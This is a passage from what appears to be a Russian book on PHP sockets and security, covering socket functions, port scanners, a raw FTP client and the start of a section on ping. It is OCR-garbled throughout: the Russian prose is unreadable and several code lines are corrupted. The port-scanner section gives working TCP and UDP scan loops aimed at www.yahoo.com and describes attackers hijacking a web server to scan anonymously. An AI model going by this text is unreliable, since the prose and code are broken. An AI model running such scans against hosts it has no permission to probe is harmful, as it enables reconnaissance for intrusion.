e AF_UNIX — HCIOJBL3YETCs VIS B3aMMONEHCTBUA MEXIY NpOLECCaMH;
O Bropoil mapaMerp MOXeT MPUHUMATh OJHO M3 CAEAYIOIMX 3HAYEHHIL:
® SOCK_STREAM — [PEAIHUCHIBAET MCIO/IB30BATH MOTOKH, T. €. nmporokon TCP;

e SOCK_DGRAM — OIllpejensieT ucnonsiosaHue nporokosa UDP, koropsiit He
TpebyeT YCTAHOBKM COeNUHEHUS;

® SOCK_SEQPACKET — TapaHTHpYeT [OC/eI0BaTebHYI0 HOCTABKY MAKEeTOB.
Takas nepegaya DaHHBIX MOXET OLITh MONE3HA MpU [epenadve 3ByKa WU
BUIEO;

e SOCK_RAW — YCTAHAB/IMBAeT CETeBOIl ypoBeHb B3aumozeiicTsus (mporoxkon IP);

» SOCK_RAW — OTpenesisier nepenavyy AaHHbIX ©e3 YCTAHOBKM COEXMHEHMS,
HO TIPU 3TOM TIepeaaya JaHHbIX rapaHTUPYeTCs;
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O B nocneaHeM mapamerpe paspaborunku PHP saaymbisanu ykassisaTb nporo-
KOJI, HO MOXHO yKa3biBatbh uucio 0, noromy 4ro THI nporoxona Mbl M TaK
yKa3sblBaeM BO BTOPOM MapamMeTpe.

B kauyectBe pesynbrara (pyHKUIMS socket_create() BO3BpallaeT YUC/IO, KOTOPOS
M yKa3blBaeT HA CO3NAHHBIN COKeT.

CepsepHble hyHKUNN

PaccmorpuM rooyepeiHo cepBepHble M KnueHTckue yHkumu. s cepsepa no-
cjlie CO3/IaHMUsl COKETa HeobXOoMMMO CBsI3aTh 3TOT COKET C JIOKAJIBHBIM afpecoMm
¢ NoMouIbl0 PYHKLMH socket_bind():

int socket_bind(int socket, string address [, int port])

Y atoit HYHKUMN TPH napaMeTpa:

0 cosnaHHbli ¢ MOMOLIEIO (PYHKUMH socket_create() COKET;
O nokanbHbiit 1P-anpec;

O nopr.

Crenyiouasi (hyHKUMsI socket_listen() MO3BONSIET 3aMyCTHUTh MPOCIHYILINBAHKE
MopTa, BO BpeMs KOTOPOro nporpamma Oyaer oXxuaarh MOAKIIOYEHUs HA MOPT €O
CTOPOHBI KJIMEHTA!

int socket_listen(int socket, int backlog)
3peck y Hac [Ba MapamMeTpa — CO3AaHHbI COKET W MakKCHMalbHOE KOTUYECTEO
MOAKJIOYEHUH, KOTOPbIE MOTYT HAXOAMUTHCH B OYepeu.

[MpocnymuBaHne Havamocb, M TENEPh MBI TOTOBBI MPHUHUMATH MNOAKIIOYEHUH
KIMeHTOB. Bri3biBaeM (hyHKIMIO socket_accept (). B 370T MOMEHT BbINOIHEHHE
cueHapusi GlIoKHMpyeTes 10 TeX Iop, Mnoka He OyAeT oJyueHo HOBOE COeIMHEHME.
Kak TonbKo K MOPTY, OTKPbITOMY Balleil nporpaMMoif, NMpOM30oLLTO MOAKITIOUE-
Hue, PYHKIMA CO3[AeT HOBbLII COKET U BO3BpAlLAET €ro AECKPUITOP. DTOT COKET
HUKAaK He CBfI3aH C TEM, KOTOprﬁ Bbl CO3/laBajli NMpH MHHUHATIKU3ALWK, a NMPEeAHA-
3HavyeH AJs1 oOMeHa JaHHBIMU ¢ KJIIHEHTOM.

KnueHtckue pyHKLMM

Y kiueHTa Bce HAMHOrO Mpolle — JOCTATOYHO TOJILKO CO3[aTh COKET ¢ (PyHKIIM-
el socket_create() M yXe MOXHO TMOOKIIOYATHLCH K CEPBEPY, BLI3bIBas bynk-
LIHI0 socket_connect ():

int socket_connect(int socket, string address [,int port])

Y sroit hyHKLUMK TPH napamerpa:

0 co3gaHHBIK ¢ MOMOIIbLIO PYHKUUH socket_create () COKET;

O I1P-agpec xoMMnbiOTEpa, ¢ KOTOPLIM HEOGXOAUMO COCAMHUTLCS;

0 nopT, HA KOTOPOM YHATEHHBIH CEPBEP 3AMYCTHII MPOCHYILINBAHHE.
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Ha nepsoiit B3risn, pabora ¢ ceThio HOCTATOMHO CJIOXKHA, MOTOMY 4TO Tpebyercs
BBIMOJHUTD HECKOJIBKO ILIATOB:

1. Cosnarb coker.
2. Ecnm y Hac cuMBOJIBHBIN anpec, To ero Heobxomumo nepesectu B 1P.
3. CoenMHHUTLCS C CepBEPOM.

IMpy 3TOM HA KaXIOM 3Tane HYXKHO MPOBEPSTH Pe3yibTarT Ha OWNGKY, W ecau
OHa €CTh, TO KOPPEKTHO 00pabarhiBaTh HELUTATHYIO CUTYALIMIO.

Y1o6bl yNpocTHTh XH3HL MpoOTrpaMMHCTAM M caenarh Kol 6Gofee HAMISAIAHBIM,
B PHP Obutn BHeapeHs! aBe (yHKIIMM: fsockopen() W psockopen(). OHM Bbl-
TIONTHAIOT BCe TPW luara, ofMcAHHLIE Bblllie, W MPH 3TOM KOPPEKTHO 0OpadaTsI-
BAIOT BO3MOXHBIE OLIMOKH. DYHKIMKM BLINIAAAT CXOXHUM 00pasoM M UMEIOT Olu-
HAKOBbIE MAPaAMETPBI:

int fsockopen(string host, int port,
int errno, string errstr, double timeout)

31ech y HAc UENBIX NATh NapaMeTpoB, NMEPBLIE JBA W3 KOTOPHIX ABIAIOTCS 0bsi3a-
TeABHBIMM:

O IP-agpec KOMNbIOTEPA, C KOTOPBIM HEOOXOAHMO COCAMHHUTLCA;
0 nopTt, Ha KOTOPOM YAAJEHHbIIH cepBep 3anycTiji MPOCIyLIHBaHUE;

0O nepemenHasi, B KoTopyio Gyaer 3anucaH koa owinbku. B ciyuyae KoppekTHOM
paborel (hyHKIIHH B 3TOM mapaMeTpe Mbl yBuaum 0;

O crpoka, KOTOpasi COAEPXHT TEKCTOBOE ONMMCAHUE BOZHMKINEH o ubKu;

0O Bpemsi OXUIAHUS B CEKyHAAX, B TeYEHUE KOTOPOIro HYXHO OXWIATh COelHHe-
Hust. Ecny BpeMst BBILJIO, TO CYHTAETCS, YTO COEAMHEHME HENOCTYITHO, U pa-
6ora (pyukuuu OGyner npepsaHa.

Yem ornnuawrest hyHKUMN fsockopen() W psockopen ()? OBe oHM comepxar
OIMHAKOBOE KOJMYECTBO MapaMeTpoB, HO [epBasl yCTAHABIMBAET COEHUHEHUE
TOJNLKO HA BpeMsi paboThl CLiEHApHsi, 4 MOCJie BBINOIHEHUs psockopen () COENU-
HeHune OyneT coxpaHeHo aaxe nocie 3apeplueHus: paborel cueHapusi. Mcnonbayii-
Te (QYHKUMIO fsockopen (), KOTIA HYXHO CO3[aTh KPAaTKOBpPEMEHHOE cOejuHe-
HHE, KOTOpOE€ MOXHO cpasy [ocji€ BBIMOJHEHUs CcLeHapHusi 3akpslTe. Eciun
Tpebyercsi [10JNTOBPEMEHHOE COGNMHEHME, B TeYEHHEe KOTOPOro [OJIb30BaATE/h
NOJIKEH MMETh BO3MOXHOCThL BBOAA M MpocMmoTpa uHdbopMauuu, To Goaslue noji-
XOIWUT psockopen ().

IMocMmoTpuTe Ha MpuUMep HMCMOMb30BAHUSI (DYHKIUMN psockopen() WIS COENHUHE-
Hus ¢ noprom 80:

$s=psockopen ( "servername.com", 80);

Mo ymonuanuio ¢pyHkums seibupaer nporokon TCP. Eciau Bam Heo6xoaum UDP,
TO B Hayajio anpeca HeobxoauMo Ko6aBuTh UMs MpoTokona udp://, Hanpumep:

Ss=psockopen ("udp: //servername.com”, 80);
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(DYHKI.II-‘[FI BO3BpalllaeT HaM HAEHTU(UKATOP COKETa, C KOTOPBIM MOXHO paborath
IS nepenadyyd M rnojiy4eHHus AanHbIX OT CepBepa.

O6meH paHHbIMK

Mpsl nogoUUTH K TOMY, pald Yero paccMarpusanoch Tak MHoro ¢dbyHkuuil, — o6-
MEH JaHHBIMU C YOANEHHBIM KOMIbIOTEPOM. Panu 3Toro Mbl co3naBaiu coeauHe-
Hue. s nepenayn gaHHBIX HA yOANEHHBIH KOMMBIOTEP HEo6XOOMMO BBINOIHUTH
(bYHKLNIO socket_write():!

int socket_write(int socket, string &buffer, int length)
3nech TpU nmapamerpa:

) OTKPHITHI COKET C YCTAHOBJIEHHBIM COEIMHEHHEM, HA KOTOPBIH HYXHO repe-
A4aThb JdHHBIE;

O Gydep naHHBIX, KOTOPbIE MBI OTMPABISIEM;
O pasmep rnepenaBaeMblX AAHHBIX.

B kauectBe pesyinbrata ()yHKLHsI BO3BPAIAET KOMUYECTBO PEATbHO MepeJaHHbIX
baiiTos.

Jnst monydeHust AAHHBIX OT YAANeHHOr0 KOMILIOTEPA HCMONb3yeTcst (hyHKIMs
socket_read():

string socket_read(int socket, int length [, int type])

Y 5T10ii (DYHKIIMH TAKXKE TPH mapamerpa:

CJ OTKPBITBIl COKET C YCTAHOBIEHHBIM COGANHEHHEM, C KOTOPOTO HY)XHO YUTAThH
NAHHbIE,

O konu4yecTBo OAlTOB, KOTOPBLIE MBI JOJKHEI MIPUHSATD;
0 nocneAHuit mapameTp MoXeT NPUHUMATEL OIHO M3 CAEAYIOIIMX 3HAYEHH I

e PHP_BINARY_READ — OMHApHOE YTEHWEe AAHHBIX, KoTopoe OyaerT mpomosi-
XKaThest, MoKa (PyHKLMS HE MOJYYUT BCe JaHHBIE WM yKa3aHHOE KoMuvect-
BO 0aiiToB;

e PHP_NORMAL_READ — CHMBOJIBHOE YTeHHE NAHHBIX, KoTopoe Oymer rmpo-
IoJKarecs, rnoka thHKuHH HE TONYYHUT YKa3aHHOE KOJIHYECTBO NAHHBIX,
WM He BCTPETHTCS OJIMH M3 CMMBOJIOB: \n (KOHEL CTPOKH) MIM \r (BO3-
BPAT KapeTKu).
B xauyecTBe pesyibrara MBI MOJYYAEM CTPOKY HaHHBIX.
XoTa mnocnenHuil mapameTp He fABaAgercsl obs3aTe/bHLIM, S PEKOMEHIYIO Bceraa
yKa3blBaTh €ro SIBHO, TaK Kak B pasHbiX Bepcusix PHP 3xavenue no ymomuauiuio

[T 3TOrO IApaMeTpa MOXeT ObITh pasHbIM, [MO3TOMY NpPH MEPEXO/ie OT BEPCHU
K BEPCHH Pe3yNbTaT MOXET OT/IMYaThCH.
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YnpaeneHue cokeramm

Y PHP ectp aBe yHKUNH, ¢ TOMOILBLIO KOTOPBIX BEI MOXeTe YIpPaBiaTh COKEeTa-
mu. Tlepsas pyHKUMA socket_set_timeout () MO3BOJSET 3aJIaTh MAKCHMMANILHOE
BpeMS OXWIAHUS BBITIONHEHUS ONepauum:

boolean socket set timeout(int socket, int sec, int mic)

PaccmoTpuM napamerpsl 3TOH GyHKIHK:

O coker, mapamMeTpsl KOTOPOro HY>KHO H3MEHUTh;
0 KoJM4ecTBO CEKYHI;

0 KOJHYECTBO MUKDPOCEKYHL,

Ecnu B TeueHHe yKa3aHHOrO BPEMEHHW HE MMPOUCXOMUT HUKAKMX OMepauuii nepe-
Ja4yn/nosyqyeHus JAHHBIX, COKET 3aKPbIBAETCS.

Bropasi chyHKLMS, socket_set_blocking (), MO3IBOASET UIMEHUTh PEXUM paboThl
cokera. [To ymonuanuio oH paboraer B GJIOKMPYIOLUEM pexXuMe, MpU KOTOpOM pa-
6ora cleHapusi 3aMOpaXKuBAeTCH NPH BLIMOJAHEHWM (YHKIMH socket_accept().
Ecin mepesecT coker B HeGIOKUPYIOUIMI PEXUM, TO B Clly4ae OTCYTCTBHSL CO-
enuHeHu (QYHKUMS socket_accept () BEpHET olKUOKy. Bbl MoXeTe Npoao/KUTh
BBITTOJTHEHHWE CLIEHAPHUA M Yepe3 KAKOEe-TO BPEMS NMOBTOPHTh MOMBITKY NMPHHATHS
COEIMHEHHsI CO CTOPOHBI KJIMEHTA.

OyHKUMK YTEHUs TaKkKe GJIOKMPYIOTCS, MOKAa KOMIBIOTEP HE NMPHUMET BCE HEe0b-
XOAMMbIe AaHHble. B HEGMOKMpYIOLEM peXUMe W OTCYTCTBUM JAHHBIX (hyHKIUIMS
socket_read() BO3BpalliaeT OUOKY, U CLEHAPUH MOXET NMPONOIKATE BBITIONHE-
HHE, a MOMBITKY YTEHUS MOXHO MOBTOPUThH MMO3XKE.

B obuiem Buae QyHKUUS socket_set_blocking() BBIMISAUT CASAYIOIIUM 0O6-
pasoM:

int socket_set _blocking(int socket, int mode)

[lepBblii napaMeTp — COKET, PeXWM KOTOPOro HYXHO M3MeHWTh. Eciau BTOpOii
napaMmeTp paBeH true, TO COKeT OyaeTr GIOKHPYIOLUM, WHAYE HEDIOKHPYIOLLINM.

5.6. CkaHep noprtoB

Kakoit 661 np¥Mep HaM paccMOTPEThb, YTOBE! OH COOTBETCTBOBAN TEMATUKE KHUTH U
NpH 3TOM JEMOHCTPUPOBAl HA MPAaKTUKE COSAUHEHHE C YIATSHHLIM KOMMbIOTE-
pom? Heponro aymas, s BeIOpan ckaHep NopToB, KOTOPBIH MO3BONsET XaKepy y3-
HaTh, KAKKHEe MOPThl OTKPHITHl HA cepBepe, a 3HAYUT, Kakue ciyKObl Ha HeM pabo-
talor. Ho ckaHupoBaHME CO CBOEro KOMIbIOTEPA CAMLIKOM OMACHO, MOTOMY 4YTO
AIMMHNCTPATOP JIETKO MOXET BBIMHCIUTH, OTKY/A [IPOU30ILII0 CKAHUPOBAHHUE.

Yro npencrasasier coboii ckaHep noproB? Yrobbl y3HATb, OTKPHIT MOPT WIKH HET,
HEODXOAMMO MOMBITATECS K HEMY MONKMIouNThes. EciiM noakiioueHHe npousol-
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JI0 yOayHO, TO Ha YJIAleHHOM cepsepe Kakas-iubo cayxba oTKpbula 3TOT HOPT
B oXugaHuu nopkiioveHnit. Eciu noaxnioveHue HeysayHo, TO MOPT 3aKphIT.

Yr1obbl OCTATHECS HEBMIMMBIM, 4allle BCEro BIOMUIMK 3aXBaThIBaeT KakoM-1ubo
Web-cepsep 8 MuTephere, ycTaHaB/IMBaeT HA HEro CBOI CLEHAPUt ¥ NMPOU3BOAKT
CKAHMPOBAHME C 3TOrO CepBepa, OCTaBasCh MPH TOM aHOHMMHBLIM. [asaiite no-
CMOTPHUM TIPUMEP CLEHApUsl, KOTOphIit ckaHupyeT nepsbie 1024 nopra:
<?php

for ($i=1; $i<=1024; $i++)

{

$s=socket_create(AF_INET, SOCK_STREAM, 0);

$res=@socket_connect($s, "127.0.0.1", $i);

if ($res)

print ("<P> MopT oTrkpur $i");

}

7>

Bor rakoit HeGonbioit dparMeHT KoAa MOMOraeT Xakepy MoJyduTh AOCTATOMHO
MHoro uHdbopManuu ob ynaneHHoM KoMmnbiotepe. [pumep paboThbl clieHapus:

Mopr orxpurr 21 (£tp)
MopT oTkpur 22 (ssh)
lopr orkpur 80 (http)

Teneps MOCMOTPUM, YTO MPOMCXOAMT B CLEHAPMHU. 3anyckaem LMK, KOTOpPbIi
Oyner BomosHATeest oT | mo 1024 pas. BHYTpu UMKIA CO3AAETCS COKET C [OMO-
b0 (YHKUMM socket_create(). CkaHupoBathcs OyAyT mOpThl HHTEpHET-
nporokona TCP, nmosroMy B KayecTBE MEPBOro napaMerpa nepefaeM AF_INET
(ykasbiBaeT HAa HeoOXOLMMOCTh MCMOJb3OBAHHUA HMHTEPHET-NpoToKona). Bropoii
napaMeTp paBeH SOCK_STREAM, YTO COOTBETCTBYeT ceMeiicTBY mpotokono TCP.
Tpetuit napamerp oOHyJIEH.

Ha cnenyiomem arane neitaemMcst COSIMHUTBCS C TIOPTOM $i C MOMOLIBIO (hyHK-
MU socket_connect (). Ecium coeauHeHue HEBO3MOXHO, TO (YHKIMA BepHer
oiubKy, Kotopasi 6ymer otobpaxeHa Ha dopme. UTo6sl nmogasuth coobiueHue o6
owrubke, nepel MMeHeM (YHKLUMH MOCTABAM CHMBOJ @. PesynsTaT BBIMOMHEHUs
thyHKUHH coxpaHseTcsl B MepeMeHHOH $res.

Teneps npoeepum peaynbtat. Ecim oH paBeH true, TO MOPT OTKPHIT, MO3ITOMY
BBIBOAUM HA 9KpaH COOTBETCTBYIOLIEE COOGLL(CHHC.

Bbl [OMXKHBI YYMTBHIBATH, YTO TAKOE CKAHMPOBaHHE [AJEeKO HE BCEraa BepHO.
KpynHele caifTel HMEIOT AOCTATOYHO MHTE/IEKTYANbHbIE CPEACTBa MpenoTBpa-
eHuss ckaHupoBaHus. O ToMm, Kak aAMUHHCTparopsl 3awuuaior Linux-
cepBepbl 0T CKaAHUPOBAHUSA MOPTOB, Bbl MOXETE NMpoYUTaTh B KHUTre "Linux ria-
3amu xakepa" [1].
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Yenoxuum 3anavy. Jdasaiite cnenaem rtak, urobel [P-anpec onpenensuics B Kone
cueHapusi, T. €. yTo6bI M01bL30BaTeIb MO MepelasaTh UMs KoMnbiotepa. [omMumo
atoro, Oyaem otobpaxarTb HE TONLKO HOMEpP OTKPLITOrO MOPTd, HO H ero MMs.
PaccMoTpum npuMep Takoro cleHapus:
<?php
Shost_ip = gethostbyname ("www.yahoo.com") ;
for ($i=1; $i<=100; $i++)
{
$s=socket_create (AF_INET, SOCK_STREAM, 0);
$res=@socket_connect ($s, Shost_ip, $i);
if ($res)
{
$portname=getservbyport ($i, "tcp");
print ("<P> llopt oTkpur $i ($portname)");
}

2>

PeaynsTar BbIMONTHEHHS ClLeHapus:

Mopr orkpur 21 (ftp)
Mopr oTkpur 22 (ssh)
Mopr orkpur 80 (http)

B aroM nipumepe, npexie YeM BHINOMHATEL LUK, Mbl onpenensem IP-aapec yka-
3aHHOrO KOMIMbIOTEPa ¢ MOMOIIBI GYHKIHKH gethostbyname (). Ecnn nons3osa-
TEJb YKAXKET He MMsi KOMIbIOTEpa, a ero aapec, To (PyHKUMs HUYEero npeobpaso-
BBIBATh HE OyJieT, a MpocTo BepHeT 3ToT Xe IP.

Tak Kak Mbl B UHKJIE COEAMHAEMCH C OAHMM M TEM X€ KOMIBIOTEPOM, TO YTOObI
HEe ONpenensTh MMS HA KaXIOM liare, BbI30B (PyHKLUMH gethostbyname () BbIHE-
CeH 3a Mpejenbl UMKIa.

Korzna HaiineH oTKpBITBIH [MOPT, MBI OMpPENENsEM €ro UM ¢ MOMOLUBIO (DYHKLHH
getservbyport (). D10l (YHKUMM NepefacTcsi HOMEp HalAGHHOIo MopTa ¥ MM
NpoToKoNA Icp, MOTOMY YTO MBI CKAHMPYEM MMEHHO 3TH TOPTHL

B nuctunre 5.4 moxuo yeuaers ckadep nopros UDP. Tyt Becero apa orauuusi ot
TCP-ckaHupoBaHUSA:

O VY dynxkuun socket_create() BTOpOii napameTp paBeH SOCK_DGRAM, YTO CO-
orperctByer UDP-nporokony.

0O Tlpu onpeneneHun uMeHH ciayx6bl y GYHKIHN getservbyport () BTOpON mna-
paMeTp paBeH udp.



<?php
$host_ip = gethostbyname ("www.yahoo.com") ;
for ($i=1; $i<=100; $i++)
{
$s=socket_create (AF_INET, SOCK_DGRAM, 0);
$res=@socket_connect ($=, S$host_ip, $i);
if ($res)
{
Sportname=getservbyport{$i, "udp"):
print ("<P> lopr orxpur $i ($portname)”);
}

}
™

Haw cxanep nopros He ONTHMHM3MPOBAH, W 5l CYUTAIO, YTO €ro HALO ONTUMIMH-
supoBare. Uukn Beimonuserca 1024 pasa, u Kaxabli pa3 Mbl CO3JaeM COKET
C MOMOILBI0 (DYHKUHM socket_create(). DTO OTHHUMAET JIMILHHUE PECYpPCHI cep-
Bepa ¥ BpeMs, a Bellb COKET HY)XHO CO3[aBaTh 0 HAYaia UMKIA U rocie yerenl-
HOTO coellMHeHust ¢ cepBepoM. EciiM coenmHeHWe MPOLLIO HEYAaYHO, TO MOXHO
6e3 BbI30BA socket_create () MBITATHCS MOAKIIOYUTHCS HA Apyroi mopr. B nue-
THHTE 5.5 MOKazaH ONTHMH3MPOBAHHEIH BAPHAHT CKAHUPOBAHUA.

<?php
Shost_ip = gethostbyname ("www.yahoo.com") ;
$s=socket_create (AF_INET, SOCK_STREAM, 0);
for ($i=1; $i<=100; $i++)
{
Sres=@socket_connect (8s, Shost_ip, 51);
if ($res)
{
$portname=getservbyport($i, "tcp");
print ("<P> Mopr oTkpur $i (Sportname)");
$s=socket_create (AF_INET, SOCK_STREAM, 0);
}

™
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Tenepb co3nanue cokera GyIeT MPOUCXONUTh POBHO CTOMBKO Pas, CKONBKO OT-
KPBITO MOPTOB, rnoc 1.

5.7. FTP-KNueHT HU3KOro ypoBHS

Tenepb paccMOTpUM NpHMep MpHeMa Mepefavyu JaHHbIX mo cetu. Jlnsa wutioct-
pauun nepenayu gaHubix Hanuwem FTP-wuenrt. la, y PHP yxe ecrb rorossie
GYHKUMM LISl YIPOLIEHUS MPOTPAMMHPOBAHKMA, HO MLl He OyaeM MMM MOJbL30-
BATBCS, A MOAKIIOYMMCS K CepBepy HanpsiMyio u OyneM BbITIONHATh HEMOCPeacT-
peHHo FTP-komaunsl. Paborarh HAMpsiMyi0 KOMAHIAMM HE TAK YK W CIOXHO, M,
3Has KOMaHIpBI, BBl CMOXETe peasn3oBarh J060H NpoToKol.

He 6ymeM oTBiekathcsi M cpasy MepeiiieM K pPaccMOTpeHHMIo npumepa (Jiuc-
THHT 5.6).

<7php

// VEuumanusaums

$host_ip=gethostbyname ("localhost") ;
$s=socket_create (AF_INET, SOCK_STREAM, 0);

// CoemuHseMcsa c CepBepoM

if (! ($res=@socket_connect($s, Shost_ip, 21)})
die("Can' connect to local host");

print ("<P>Connected") ;

// UYwraem cTpPOKY NPUBETCTBUSA
printf ("<P><%s", socket_read($s, 1000, PHP_NORMAL_READ));
socket_read($s, 1000, PHP_NORMAL, READ) ;

// OTnpaBngeM KOMAHIY M UMTAEM pPesSyNkTaT aBTOPU2ALMM UMEHM NOJIESO0BATENA
$str="USER flenov\n";

socket_write($s, $str, strlen($str));

print("<pP> > Sstr"):

printf("<P><%s", socket_read($s, 1000, PHP_NORMAL_READ));
socket_read($s, 1000, PHP_NORMAL_READ) ;

// OrnpaBnseM KOMaHOy M YXTAEM De3YJETAT ABTOPMSALMM NapoieM
$str="PASS password\n";
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socket_write(Ss, $str, strlen($str));

print ("<p> > S8tr™);

printf ("<P>< %s", socket_read($s, 1000, PHP_NORMAL_READ) ) ;
socket_read($s, 1000, PHP_NORMAL_READ) ;

// OrnpaBnsaem xoMaumy SYST (onpenermiTs cCUCTeMy) W UMTaeM pesyssTaT
$SEr="8YST\n";

socket_write($s, $str, strlen($str));

print("<P> > Sstr");

printf("<P>< %s", socket read($s, 1000, PHP_NORMAL_ READ));
socket_read($s, 1000, PHP_NORMAL_READ) ;

7>

Hauano nucrunra Bam HoKHO 6bITh MOHATHO Ge3 JONMOTHUTENBHBIX KOMMEHTapH -
es. Onpenensiem [P-anpec ykasannoro FTP-cepsepa. Sl Tectupyio ciuieHapuu Ha
JIOK&/IbHOM cepBepe, Mo3ToMy B KauecTse aapeca ykasaHo localhost. Tlocne atoro
cosjiaeM coket nst pabotst ¢ TCP-npoTokonoM # rionkioyaemcs K mopry 21.

Cpa3sy nocne moakioyeHusi FTP-cepsep Ao/keH BepHYTh HaM CTPOKY NMPUBETCT-
BUA, H UMEHHO €€ Mbl YMTAEM. 06pa1*me BHUMaHWE, YTO YHUTAIOTCS ABE CTPOKH,
XOTd Ha 9KpaH BBIBOJIWUTCH TOJILKO TEpBasl. [’quemy MMEHHO Tak? }leno B TOM,
yro FTP-cepsep ornpasisier KIMEHTY CTPOKY, KOTOpasi 3aKaHYMBAeTCs CUMBOMA-
MH KOHLA cTpokH (\n) U nepeBosa KapeTku (\r), Hanpumep:

220 flenovm FTP server (Version wu-2.6.2-5) ready.\n\r
DyHKUNA socket_read() ¢ MapaMeTpoOM PHP_NORMAL_READ YWUTAET AAHHBIE, NO-

Kd HE BCTPETUT JIIOOOH M3 CUMBONIOB \n MU \r, a 3HAYUT, Pa300LET ITOT PesyJik-
TAaT Ha [IBE CTPOKH:

220 flenovm FTP server (Version wu-2.6.2-5) ready.\n

H
\r

MmeHHO moaToMy MBI YWTaeM pesyjbTar ABaX/Abl. BTOpyio CTPOKy Mbl Mpocto
YUTAEM, HO HE BBIBOAMM Ha CTPaHULY, MOTOMy 4To OoHa nyctas. [lpn BeiBOXE
CTPOK, MOJIYYeHHBIX OT cepBepa, B Hayaie CTPOKH oToBpakaeM CHMBOJ <, YKa3hi-
BAIOLLIMIA, YTO JAHHBIE MOMYYEHbI OT YAANIEHHOI0 KOMIbIOTEpa.

Teneps MOCMOTPHMM, Kak mepenapath cepsBepy FTP-komaHael Ha npumMepe oT-
MPaBKM CepBEpY UMEHM M0J1b30BaTelsl JUlsl aBTOPH3ALIMU:

$str="USER flenov\n'";

socket_write($s, S$str, strlen(S$str));

print("<P> > $str");
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printf (“<P><%s", socket_read($s, 1000, PHP_NORMAL_READ));
socket_read($s, 1000, PHP_NORMAL_READ) ;

Chavana ¢dopMupyeM B rnepeMeHHol $str CTPOKY, KoTopasi OyAeT OTnpasieHa
cepsepy. s cepsepa FTP-komanna momkHa 3aKkaHYMBaThCS CHMBOJIOM KOHLA
ctpoku (\n). Bo BTOpOIii cTpouKe Koja OTNpaBnsieM CTPOKY ¢ NMOMOILBIO (PYHKLWH
socket_write(). [anee, urobbsr npuMep 6bur Gonee MHGOPMATHUBHBIM, BbIBeE-
aeM Ha Web-cTpaHuily KomaHoy, Kotopasi 6bia HanpamieHa cepBepy, a nepen
KOMaHIOi MOCTABHM CHMBOJ >, YKa3bIBAIOUIMN, YTO CTPOKA HaMpaBJieHa cepBepy.

Tenepb uuTaem oTBeT cepBepa. M cHOBA ISl 3TOTO UCMOJL3YIOTCA JIBE CTPOKHU.
Bropas Gyier mycToi, Mo3ToMy CLIEHAPUIT ee HA IKPAH HE BLIBOIUT.

3anycTuTe CUEHApHit, U Bbl JIO/DKHBI YBHIETh HA 3KpaHe NMPUMEPHO CAEAYIOUIMil
pesyJibTar:

Connected

<220 flenovm FTP server (Version wu-2.6.2-5) ready.

> USER flenov

<331 Password required for flenov.

> PASS vampir

< 230 User flenov logged in.

> SYST

< 215 UNIX Type: L8

Eciiu Bbi XOTHTE peanu3oBarh Ha cBoeM caiite BoaMoxxHoctH FTP-knuenTa, To i
He PEeKOMEHIyI0 HenaTh 3Ty cJyX0y JoCTyMnHO# BceM nojib3opatesisiM. CkayaTh
daiinel ¢ cailTa nonb3oBateau MoryT U ¢ nomousio HTTP-nporokona, a wis 3a-
rpY3KH Ha cepBep MOXHO MCMOJIb30BaTh METOABI, OMMCaHHbIe B pazdese 5.1. FTP-
KOMAH/bI TMO3BOJAIOT YCTAHABIMBATL COSIAMHEHWS MEXIY KOMI'IBIOTCP&MH u ob-
MEeHMUBATLCSA (hailaMu, a 3To paneko He GesonacHo.

M Bce xe, FTP-k1MeHT MOXeT oKasaThes yIO0OHLIM B CLEHAPHSIX alMUHUCTPHPO-
BaHMsl U BezonacHbIM, eciii AOCTYNeH TONbKO aaMuHucTparopy. ITpu paspaborke
FTP-knueHTa yyutbiBaitte cneayioiiue coobpaxerus no 6e3onacHocTH:

0O nuiuHKK pa3 NOBTOPIOCH, YTO HYXHO NPOBEPATh KaXIblit mapamerp. XoTs
FTP-kaueHT HaxoIuTCsl HA BalllEM caiiTe B LIEHTPE aIMUHHUCTPUPOBAHUS M,
no Haee, AOKeH ObITh HOCTYNEH TOJBKO AaIMWHUCTpAaTOpaM, HeoGXomuMBbl
Bce MpoBepKM Becex napamerpoB. Ecnu xakep cmoxer oboiiTd cucreMy ayTeH-
THhUKauuK, nonHoueHHslt FTP-kiueHT caenaer sanoyMmbluieHHHKa Gorom
B Ballleif cucteMe;

0 xenarenbHO OrpaHUuMTh Aoctyn K cepsepy no FTP-nporokony Toasko onpe-
JeeHHBIMH KataioraMu. [ist 31oro HeobXxoaMMo NpoBepsTh NapaMeTpsl, yKa-
3bIBAIOIIHE HA KATAIOr, C KOTOPBIM paboTaeT Mojib3oBaTe/lb, H €C/IH KaTaior
3anpelleH, To MpepbBaTh AOCTYIT;
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O nocrapaiiTech OrpaHWYUTh KONU4ECTBO TUMOB (hailyioB, MOCTYMHBIX IS 3a-
rpy3kd Ha cepsep, TonbKo HeobxomumbiMu. Ecnu HA cepBepe JOJNXHBL Xpa-
HuTbes Tobko HTML-daitnel, To BnoiHe JOrHYHO NpoBepsTh, YToObI 3arpy-
XAJUCh TOJIBKO Takue (aiipr;

O peanusyiiTe TOJIBKO T€ BO3MOXHOCTH, KOTOpbIE JeiCTBUTEIBHO HEOGXOIUMEI.
Bo Bpems co3paHusi cleHapysi He NOJ/DKHO ObiTh coobpaxeHuii TMna "aBoch
npuroautes”. IMporokon FTP canmkoMm onaceH uis cepsepa, 4ToObl Tak pac-
CYXIaTh, TO3TOMY 3amMperaem BCe, YTO SIBHO HEe paspelleHo.

5.8. YTunura ping

Vrunura ping cozgasanack /Ui TOro, YToOBl aTMUHUCTPATOPLI MOINIM MPOBEPATHL
JOCTYMHOCTh KOMITBIOTEPOB MO CETH. BTO AEHUCTBHTENBHO OTAMYHOE CPENCTBO
nposeaeHus auarHocTuku. Korpma s eule He 3aHuMancs 6e30macHOCTBIO W B3NO-
MOM, TO CYUTANI, YTO APYroro npeaHasHaYeHUs y YTUIUTHI npocTo HeT. Sl cuibHO
3a6myxnancs, MOTOMY YTO B pyKax xakepa GOoNbLIMHCTBO CETEBBIX YTHJIUT Mpe-
BpalLaeTcsl B MHCTPYMEHT B3JIoMa MM XOTs Gbl yIIPOLIAET B3IOM.

YTo MOXET naTh Xakepy MpoBepka cBsi3u ¢ Kommnblotepom? Korma B3TOMILKK XO-
yer MPOHMKHYTH Ha CepBep Kakoif-inbo ceTH, OH MOXET 3TO Jejarh He Harpsi-
MYyI0, 4 Yyepe3 Kakoi-HuOyab noBepeHHbIt KoMmnbloTep. YToGE! BEISICHUTb, Kakue
KOMITBIOTEPHI JOCTYITHBI B 3TOH CETH, 3aIyCKaeTcss CKaHUPOBAHME YTHIMTON ping
onpeneneHHoro nuanasona IP-anpecos. bBiaro, uro Bce ceTH moyvaoT aapeca
